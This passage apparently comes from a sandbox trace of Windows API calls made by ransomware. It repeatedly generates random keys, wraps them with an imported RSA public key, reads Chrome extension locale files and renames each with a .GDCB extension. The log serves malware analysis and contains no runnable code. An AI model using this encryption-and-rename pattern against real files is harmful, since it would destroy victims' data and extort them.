dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.708] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793820) returned 1 [0262.708] CryptGetKeyParam (in: hKey=0x6793820, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.708] CryptEncrypt (in: hKey=0x6793820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.708] GetLastError () returned 0x0 [0262.708] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.708] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.710] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793220) returned 1 [0262.710] CryptGetKeyParam (in: hKey=0x6793220, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.710] CryptEncrypt (in: hKey=0x6793220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.710] GetLastError () returned 0x0 [0262.710] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.710] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.712] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.714] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.716] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.725] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.732] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0262.737] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.741] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.742] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.742] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.742] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.744] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.746] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.746] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.746] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.748] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793260) returned 1 [0262.748] CryptGetKeyParam (in: hKey=0x6793260, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.748] CryptEncrypt (in: hKey=0x6793260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.749] GetLastError () returned 0x0 [0262.749] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.749] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.751] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67938a0) returned 1 [0262.751] CryptGetKeyParam (in: hKey=0x67938a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.751] CryptEncrypt (in: hKey=0x67938a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.751] GetLastError () returned 0x0 [0262.751] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.751] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.752] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.755] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.757] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.765] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.771] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0262.776] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.779] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.781] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.781] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.781] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.781] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.785] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.785] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.785] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.786] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.788] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67932a0) returned 1 [0262.788] CryptGetKeyParam (in: hKey=0x67932a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.788] CryptEncrypt (in: hKey=0x67932a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.788] GetLastError () returned 0x0 [0262.788] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.788] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.790] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67933e0) returned 1 [0262.790] CryptGetKeyParam (in: hKey=0x67933e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.790] CryptEncrypt (in: hKey=0x67933e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.790] GetLastError () returned 0x0 [0262.790] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.791] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.792] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.795] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.799] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.807] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.819] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0262.826] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.831] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.831] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.831] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.831] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.834] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.836] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.836] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.836] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.837] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.839] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793420) returned 1 [0262.839] CryptGetKeyParam (in: hKey=0x6793420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.839] CryptEncrypt (in: hKey=0x6793420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.839] GetLastError () returned 0x0 [0262.839] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.839] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.841] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793660) returned 1 [0262.841] CryptGetKeyParam (in: hKey=0x6793660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.841] CryptEncrypt (in: hKey=0x6793660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.841] GetLastError () returned 0x0 [0262.841] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.841] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.842] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.845] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.848] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.855] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.881] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0262.886] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.889] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.891] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.891] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.891] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.891] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.893] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.895] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.895] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.895] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.897] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793860) returned 1 [0262.898] CryptGetKeyParam (in: hKey=0x6793860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.898] CryptEncrypt (in: hKey=0x6793860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.898] GetLastError () returned 0x0 [0262.898] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.898] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.899] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67936e0) returned 1 [0262.900] CryptGetKeyParam (in: hKey=0x67936e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.900] CryptEncrypt (in: hKey=0x67936e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.900] GetLastError () returned 0x0 [0262.900] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.900] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.901] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.903] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.905] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.913] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.919] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0262.924] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.927] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.929] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.929] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.929] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.929] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.932] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.934] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.934] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.934] 